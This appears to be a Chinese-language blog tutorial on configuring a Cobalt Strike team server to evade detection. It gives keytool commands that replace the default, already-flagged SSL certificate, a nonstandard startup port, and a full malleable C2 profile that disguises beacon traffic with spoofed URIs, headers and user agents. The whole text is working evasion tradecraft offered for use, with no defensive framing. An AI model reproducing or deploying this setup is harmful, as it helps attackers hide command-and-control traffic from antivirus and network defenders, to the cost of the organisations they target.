0x01 去除特征

1. 更改默认端口

方法一: 直接编辑teamserver进行启动项修改
方法二:在启动的时候指定server_port

1
java -XX:ParallelGCThreads=4 -Duser.language=en -Dcobaltstrike.server_port=50505 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -Xmx1024m -classpath ./cobaltstrike.jar server.TeamServer xxx.xxx.xx.xx test google.profile

2. 去除证书特征

Keytool是一个java数据证书的管理工具,Keytool将密钥 和 证书 存放在一个称为 keystore 的文件中,即.store后缀的文件中。

keytool命令

非法选项: -h
密钥和证书管理工具

命令
-certreq 生成证书请求
-changealias 更改条目的别名
-delete 删除条目
-exportcert 导出证书
-genkeypair 生成密钥对
-genseckey 生成密钥
-gencert 根据证书请求生成证书
-importcert 导入证书或证书链
-importpass 导入口令
-importkeystore 从其他密钥库导入一个或所有条目
-keypasswd 更改条目的密钥口令
-list 列出密钥库中的条目
-printcert 打印证书内容
-printcertreq 打印证书请求的内容
-printcrl 打印 CRL 文件的内容
-storepasswd 更改密钥库的存储口令

使用 “keytool -command_name -help” 获取 command_name 的用法

1
2
3
4
查看证书文件:keytool -list -v -keystore xx.store
修改证书密码:keytool -storepasswd -keystore test.store
修改keystore的alias别名:keytool -changealias -keystore test.store -alias source_name -destalias new_name
修改alias(别名)的密码:keytool -keypasswd -keystore test.store -alias source_name

keystore

Keystore是什么?keystore是java的密钥库,用来进行通信加密,如数字签名。keystore就是用来保存密钥对的,公钥和私钥。Keystore可理解为一个数据库,可以存放很多个组数据。
每组数据主要包含以下两种数据:

  • 密钥实体 — 密钥(secret key)又或者私钥和配对公钥(采用非对称加密)
  • 可信任的证书实体 — 只包含公钥

查看CobaltStrike的默认store文件

1
keytool -list -v -keystore cobaltstrike.store

0fcee4e35fd7f4a0d4158b51e3a05552.png

输入默认密码123456回车,可以看见cobaltstrike默认的store文件中的Alias name、Onwer和Issuer的信息,特征比较明显

创建新的CobaltStrike.store

为了掩盖默认ssl证书存在的特征,需重新创建一个不一样的证书

1
keytool -keystore cobaltstrike.store -storepass 密码 -keypass 密码 -genkey -keyalg RSA -alias google.com -dname "CN=(名字与姓氏), OU=(组织单位名称), O=(组织名称), L=(城市或区域名称), ST=(州或省份名称), C=(单位的两字母国家代码)"
  • -alias 指定别名
  • -storepass pass 和 -keypass pass 指定密钥
  • -keyalg 指定算法
  • -dname 指定所有者信息

删除 CobaltStrike 自带的cobaltstrike.store,使用以下命令生成一个新的 cobaltstrike.store即可!然后客户端连接即可。

1
2
3
keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias baidu.com -dname "CN=(名字与姓氏), OU=(组织单位名称), O=(组织名称), L=(城市或区域名称), ST=(州或省份名称), C=(单位的两字母国家代码)" 

keytool -importkeystore -srckeystore cobaltstrike.store -destkeystore cobaltstrike.store -deststoretype pkcs12

f3db6a52712b4a8b1577726d6ebc2baa.png

0x02 流量加密实现免杀

cobaltstrike自带了ssl证书,不过该证书已经被杀软标记了,所以的生成自己的免费的证书用以替代cs自带的证书,监听的时候选择https

1. 先利用keytool生成一个免费的证书

1
keytool -genkey -alias tryblog -keyalg RSA -validity 36500 -keystore tryblog.store

`注: 注意记得-alias后面的参数和-keystore后面的参数后面会用到C2-profile里面;在生成的时候,要记住自己的密码,后面要使用,如果忘记了,就回来重新生成。

里面的内容随意填写,问你是否正确的时候输入y,然后回车后就成功生成了。证书就在当前目录下
`

2. 然后创建一个c2.profile文件,添加以下内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
set sample_name "tryblog POS Malware";

set sleeptime "5000"; # use a ~30s delay between callbacks
set jitter "10"; # throw in a 10% jitter

set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";

#设置证书,注意以下内容得和你之前生成的证书一样
https-certificate {
set CN "TRY";
set O "TRY";
set C "TRY";
set L "TRY";
set OU "TRY";
set ST "TRY";
set validity "365";
}
#设置,修改成你的证书名称和证书密码
code-signer{
set keystore "tryblog.store";
set password "tryblog";
set alias "tryblog";
}

#指定DNS beacon不用的时候指定到IP地址
set dns_idle "8.8.4.4";

#每个单独DNS请求前强制睡眠时间
set dns_sleep "0";

#通过DNS上载数据时主机名的最大长度[0-255]
set maxdns "235";

http-post {
set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php";

client {
header "Accept" "textain";
header "Accept-Language" "en-us";
header "Accept-Encoding" "textain";
header "Content-Type" "application/x-www-form-urltrytryd";

id {
netbios;
parameter "id";
}

output {
base64;
prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data=";
print;
}
}

server {
output {
print;
}
}
}

http-get {
set uri "/updates";

client {
metadata {
netbiosu;
prepend "user=";
header "Cookie";
}
}

server {
header "Content-Type" "textain";

output {
base64;
print;
}
}
}

3. 验证证书,进入cs文件夹,将刚生成的证书和创建的c2.profile文件复制进去

1
./c2lint C2.profile #命令后面跟你自己的c2文件

4. 使用证书启动teamserver

1
nohup ./teamserver 1.1.2.3 123456 ./C2.profile & #nohup就是把程序挂在后台运行

CS的流量由malleable C2配置来掌控的,所以我们需要定向去配置这个C2。
Malleable C2 是一种特定领域的语言,主要用来控制“Cobalt Strike Beacon”攻击载荷中的网络指针
malleable C2详细知识参考:
https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/

在这里可以把流量伪造成高信誉的网站,如Google、baidu等
如果不想自己生成的,可以使用如下github中的profile:
https://github.com/rsmudge/Malleable-C2-Profiles.git